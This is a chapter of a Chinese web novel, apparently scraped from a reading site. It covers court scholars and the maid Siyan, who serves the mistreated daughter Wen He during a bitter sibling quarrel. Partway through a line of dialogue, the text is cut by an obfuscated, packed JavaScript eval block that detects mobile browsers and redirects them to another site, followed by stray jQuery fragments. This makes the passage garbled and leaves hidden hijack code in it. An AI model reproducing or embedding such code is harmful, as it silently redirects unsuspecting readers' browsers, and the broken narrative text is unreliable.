19. 襄平

作品:《没有郎君我可怎么活啊

    殿试的日子近了。


    思及五年前的自己,还是个屡次落第的秀才,宋明卿心中感慨万分,抬头看了看观文殿外洇起紫红色的天空。


    “苏先生?”里头有侍讲疑惑。


    “都是泛泛之材,”苏贤照看完最后一本经论,明显不太满意:“肚子里就那几斤墨水,换着花样吐。”


    “师父,文无第一,未必有十全十美的,”宋明卿见状,忙接过侍讲手里的活,含笑道:“要是在跟前瞧着不满意,不如交给我来带。”


    “你这脾气,软,”苏贤放下官帽,伸手揉了揉额头:“别说有没有凤毛麟角如你与明华这般佼佼者,这批拨过来的甚至还不如端明殿的!真当老朽能将朽木也能雕成凤凰?”


    “严师出高徒,师父若是用心相学,天资愚钝如弟子如今也小有所成,何况新进子弟中,不乏有对师父仰慕已久的门生,定会受教。”宋明卿恭敬道。


    “油嘴滑舌!”苏贤笑骂他一句:“行了,你总在我这呆着做什么,有空去帮帮你哥哥,他天天对着那群无法无天的少爷小姐,那群人臭脾气,明华怕也头疼。”


    “三天前在翰林苑见过了,”宋明卿答道:“国子监听学这段时间也多少闹了些不大不小的事情,夫子们商量着要将他们分到各地书院,各管一批,这样落得清净。”


    “也好,”苏贤拍拍他肩:“这种事肯定少不了你的,赶紧收拾收拾去吧,去晚了,分到偏僻地方又要好久见不着你了。”


    宋明卿屈身拜道:“还请师父一定注意保重身体。”


    ……


    新入府的小姐有点奇怪。


    思烟从前是一些商家小姐的家仆,后来机缘巧合之下来到官家伺候,她深知这里越是资历老的丫鬟小厮越是难以对付,恰好府上迎来一位久居乡县的小姐,文夫人要挑人,她就铆足了劲表现,争取被指去伺候这位新小姐。


    有道是瘦死的骆驼比马大,虽然那位小姐不受宠,但毕竟在家中有一席之地,与其在府中红人身边当个可有可无的小丫鬟,不如去做庶小姐身边最得意的那个贴身丫鬟。


    可很快她就发现这和自己预想的一点都不一样,当天随着文荷走入那破败的院落时,她简直不敢相信——这是一位小姐的闺房?


    光鲜亮丽的文府竟然会有这么破败的地方,比起她最开始被买到商队的破宅子里照顾一群人的环境还要恶劣,四处结着蛛网,待客用的偏殿还是坍塌的,除了住人的正殿稍微像样一点,其他实在不敢恭维。


    而那位年轻貌美的小姐见她呆住后,主动进屋给她抱了一床褥子,和和气气地说着:“厢房没法住人,你要是不介意,可以睡我屋里的榻。”


    和主子睡一间房?思烟被这番言论吓清醒了,还没等摆手,便被领了进去。这一间屋室,除了一张床外,书桌软榻小几一览无余。


    思烟这才明白,若不这样安排,她要么睡地板,要么晚上就在庭院里抱着树吹冷风。


    可是……可是她毕竟是一名官家小姐啊!思烟目光已经从震惊变成了同情,就算从小到大都在乡下长大,但文连紫的房间文荷是见过的,不说别的,光是装她的绸缎首饰的库房都是这里的十倍大,文荷心里真的不在乎吗?


    事实证明文荷真的不在乎。见思烟愣住,她手脚麻利地拆掉绣垫,给思烟包了一个软枕,又迅速铺好榻,望着思烟拎着包裹的手,笑道:“你有什么东西可以放我桌上,我这里没有规矩,所以,有什么事情,你只管拿自己的那份就好。”


    当晚下雨了,思烟打起精神,准备在外头守文荷一晚上,这毕竟是她做惯了的事,然而这院子太冷了,第二天醒来时,她已经就迷迷糊糊地在榻上了,周身热烘烘的,唯独不见文荷人影。


    思烟探头一看,外头天都还没完全亮,做丫鬟这么多年,她没有久睡的习惯,一向都比主子早起两个时辰,可文荷起的比她还早。


    桌上还有一份清粥,几样摆的整整齐齐的早点冒着热气,像是……专门给她留在那里的。


    时至今日还是觉得自己在做梦。


    思烟叹口气,站在文府门口好半天了,终于,暮色轮廓之中,一辆马车缓缓出现在街头末尾,停到文府跟前。


    “五小姐。”思烟规规矩矩地行了个礼,文连紫不搭理她,只满脸欣喜地冲进府里,似乎听见什么好事。


    这时她才绕到马车身后,又等了至少半刻钟,文荷果然不紧不慢地出现在巷口,她孤身一人跟在马车身后,可那神情始终温柔恬淡,好像文连紫将她驱逐在马车身后步行不是什么大不了的事。


    当然,绝对也不止有这一件事,只是她并不在乎。思烟心道。


    见到思烟,文荷那张柔美的脸带了点笑意:“下次不用等我的,思烟。”


    “这是奴婢分内之事,”思烟也说不出自己是什么心情,原本信誓旦旦要在文府出头的决心总在文荷面前淡去,她上前去扶住文荷,小声抱怨道:“五小姐也真是的,总给您气受。”


    被思烟抱住手臂,文荷眼神微动,安慰道:“不过都是小事,五姐身份尊贵,性子也好,只是不喜欢我而已。”


    思烟对她这性格颇有些无可奈何:“六小姐,您这样好性子,她们不欺负您欺负谁啊?”


    文荷笑盈盈地任她说。


    刚跨过门槛进到府里,文连紫果然又在找麻烦,嘴里在喋喋不休着:“四哥你别不信,我告诉你,宋学士可是亲口夸赞过六妹的,说有其父必有其女,比你博学多才更甚——”


    这几年科举,文连祁被筛数次,十分丢脸。文世修因为这些事没少骂他,他心里也一直憋着一口气——大哥如今军功在身,在兵部当差十分得力,不日就要提拔升官;妹妹是名门闺秀,追求者无数,琴棋书画样样没落下,而他武艺不行,专攻文墨,还总落得如此尴尬的境地。


    “少胡说!”文连祁气的头顶都要冒烟了,也不管文荷就在眼前:“她才认识几个字,就能得宋先生夸赞?不过你想对付人,却总拿我当枪使罢了!”


    “我可没说错!”面对年纪相仿的文连祁,文连紫不再撒娇犯浑,反而拿出了隐藏在乖巧外表下的狠厉泼辣:“你若去问何绮与欧阳茉,再问姚少恭,也是这个结果!早知道你这样废物,不如早把文荷接回来算了,说不定我们家还能出个女学士,要你有什么用!”


    “文连紫!”文连祁手指抖个不停,恨恨然道:“你有种!我也是你亲哥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462720|167303||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,你这样,就很有脸面?”


    “哦,”文连紫冷笑道:“小六就不是我亲妹妹了?”


    两人中气十足地吵了半天,文荷静静地看了一会儿。文连祁身形颤巍巍,几次抡起拳头想要往文连紫脸上招呼,文连紫挑衅,大笑着抬脸,他却始终不敢下手。踌躇片刻,他于是怒气冲冲地走到文荷面前,凶光毕露的眼睛里尽是威胁,高高扬起手——


    “四少爷不要!”思烟突然扑上去,脑子飞速运转着,不需要情绪酝酿就开始哭喊:“秦侯爷今早遣人来请六小姐,见人没在,说改日再来,您这一下手,不止奴婢没办法交代啊。”


    提起秦伯侯,文连祁一片血红的眼睛里清明些许,一脸不仄地踢开思烟:“狗奴才,少拿侯爷来压我,她算什么东西,你是她的奴婢,更是连人都不算!”


    思烟被踢中小腹,泪眼汪汪地疼,而文连祁撒过气后,看着因为受惊而瑟瑟发抖的文荷,暂时没了动手的意思,只威胁道:“无论文连紫说的是真是假,你最好给我收敛点——知道自己命贱,哄好下一个男人就不错了,少来讨人嫌。”


    这话说的颇不客气,好像文荷就是他们笼络别人的工具,若是个正常闺阁女子,早就一巴掌甩他脸上,然而文荷只将眼眶中恐惧的泪水逼回去,低头道:“我没有,以后也不会做……对不起,四哥。”


    文连祁满脸晦气地拂袖而去。


    她这才敢去扶思烟,见到思烟脸色苍白且站都站不稳的样子,文荷眼眶红红的:“对不起,害你跟着我受苦,你不该来伺候我的,跟着我只会受委屈。”


    思烟也疼得厉害,不得不说,她挨这么重一下的时候的确有些后悔了,早知道让文荷被扇一巴掌也不能怎么样,可那时根深蒂固的主仆观念促使了她那鬼使神差的一步,如今对着温文荷也不好意思蹬鼻子上脸发火,只咬牙继续好人做到底:“这是……奴婢应该做的。”


    这边一派主仆情深,目送着文连祁的文连紫却不吃这套,托着下巴啧啧称奇:“天呐,这感情比真姐妹还要好呢,秋娘,你说是也不是?”


    秋娘笑得捂嘴:“小姐说的是,站在一起,根本就是一对难姐难妹,谁还看的出是主仆。”


    思烟脸色一白,文荷却不说话,扶着她走了几步:“还能走吗,要不要我……”


    “文荷,”文连紫冷漠的声音打断二人:“不要以为你能忍气吞声一辈子,要是我一个心情不好,捏蚂蚁一样就把你玩死了,绞尽脑汁挣表现如何,巴结秦伯侯又如何?本来你命不该绝,要是小侯爷还在,我还得真心实意叫你几声好妹妹,谁让他死了呢?”


    “如今你唯一的用处也没了,谁会在乎你这样的野种,”文连紫扬起胜利的微笑:“带你出去见见世面,纯粹是我心好,你还不知道吧,接下来两个月分院入书塾,沈学士亲自开口要你,还给你调到云峰襄平书院,这可是头一份的青睐,哈哈。”


    文荷抬眼看着文连紫,她脸上除了阴毒就是快意:“你不知道沈学士是谁对吗?我来告诉你——他啊,就是知黎郡主的亲哥哥呢。”


    “你可一定要活着回来啊,小六。”文连紫展开丝帕,眉头一扬,掩在其后的一张脸上是虚伪至极的笑意。